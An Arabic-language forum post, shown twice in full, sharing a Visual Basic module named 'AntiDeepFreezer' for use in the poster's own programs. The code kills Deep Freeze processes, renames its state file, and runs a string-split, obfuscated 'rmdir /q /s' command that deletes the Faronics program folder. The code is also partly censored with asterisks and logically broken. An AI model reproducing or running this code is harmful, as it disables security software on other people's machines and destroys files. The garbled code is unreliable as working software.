asL-Sabia
06-26-2009, 06:20 PM
جاكم الفرج يالي معقدتكم الديب فريز lol
هذا موديل AntiDeepFreezer
تم رفع الموديل بالمرفق
Option Explicit
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, _
ReturnLength As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystem**** As String, _
ByVal lp**** As String, _
lpLUID As LUID) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long
Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Type LUID
LowPart As Long
HighPart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Public Const SE_SYSTEM_PROFILE_**** As String = "SeSystemProfilePrivilege"
Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" ( _
ByVal NewValue As Boolean, _
ByVal OldValue As Boolean, _
ByVal WinLogon As Boolean)
Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long
Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long
hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
Exit Function
End If
With lpToken
.PrivilegeCount = 1
.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
.Privileges(0).pLuid = lpLUID
End With
res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
Exit Function
End If
ObtenerPrivilegios = res
End Function
Public Function mAntiDeep() As Boolean
ObtenerPrivilegios SE_SYSTEM_PROFILE_****
Dim objet As Object
Set objet = GetObject("winmgmts:")
If IsNull(objet) = False Then
Dim list As Object
Set list = objet.InstancesOf("win32_process")
Dim procesoacerrar As Object
If LCase$(procesoacerrar.****) = "FrzState*****" Then KillProcess ("FrzState*****")
If LCase$(procesoacerrar.****) = "DFServEx*****" Then KillProcess ("DFServEx*****")
End If
If (file.Exists(Environ("windir") & "\Temp\_$Df\FrzState2k.sib")) Then
Set list = Nothing
**** Environ("windir") & "\Temp\_$Df\FrzState2k.sib" As Environ("windir") & "\Temp\_$Df\FrzState2k.fgbs"
Shell "cmd***** /c r" & "md" & "ir /q /" & "s C:\A" & "rchivos de pro" & "grama\" & "Far" & "onics"
Else
End
End Function
Public Sub KillProcess(ByVal process**** As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim service****
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices
service**** = LCase(Trim(CStr(oService.****) & ""))
If InStr(1, service****, LCase(process****), vb****Compare) > 0 Then
ret = oService.Terminate
End If
Next
Set oServices = Nothing
Set oWMI = Nothing
ErrHandler:
Err.Clear
End Sub
ضيف موديل جديد وحط الكود فيه s1
بحطه في برنامجي الجاي وخاص للمنتدى lol
طبعا مو من عندي الكود hihhhi
هذا موديل AntiDeepFreezer
تم رفع الموديل بالمرفق
Option Explicit
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
PreviousState As TOKEN_PRIVILEGES, _
ReturnLength As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystem**** As String, _
ByVal lp**** As String, _
lpLUID As LUID) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
TokenHandle As Long) As Long
Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Type LUID
LowPart As Long
HighPart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Public Const SE_SYSTEM_PROFILE_**** As String = "SeSystemProfilePrivilege"
Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" ( _
ByVal NewValue As Boolean, _
ByVal OldValue As Boolean, _
ByVal WinLogon As Boolean)
Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long
Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long
hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
Exit Function
End If
With lpToken
.PrivilegeCount = 1
.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
.Privileges(0).pLuid = lpLUID
End With
res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
Exit Function
End If
ObtenerPrivilegios = res
End Function
Public Function mAntiDeep() As Boolean
ObtenerPrivilegios SE_SYSTEM_PROFILE_****
Dim objet As Object
Set objet = GetObject("winmgmts:")
If IsNull(objet) = False Then
Dim list As Object
Set list = objet.InstancesOf("win32_process")
Dim procesoacerrar As Object
If LCase$(procesoacerrar.****) = "FrzState*****" Then KillProcess ("FrzState*****")
If LCase$(procesoacerrar.****) = "DFServEx*****" Then KillProcess ("DFServEx*****")
End If
If (file.Exists(Environ("windir") & "\Temp\_$Df\FrzState2k.sib")) Then
Set list = Nothing
**** Environ("windir") & "\Temp\_$Df\FrzState2k.sib" As Environ("windir") & "\Temp\_$Df\FrzState2k.fgbs"
Shell "cmd***** /c r" & "md" & "ir /q /" & "s C:\A" & "rchivos de pro" & "grama\" & "Far" & "onics"
Else
End
End Function
Public Sub KillProcess(ByVal process**** As String)
On Error GoTo ErrHandler
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim service****
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.InstancesOf("win32_process")
For Each oService In oServices
service**** = LCase(Trim(CStr(oService.****) & ""))
If InStr(1, service****, LCase(process****), vb****Compare) > 0 Then
ret = oService.Terminate
End If
Next
Set oServices = Nothing
Set oWMI = Nothing
ErrHandler:
Err.Clear
End Sub
ضيف موديل جديد وحط الكود فيه s1
بحطه في برنامجي الجاي وخاص للمنتدى lol
طبعا مو من عندي الكود hihhhi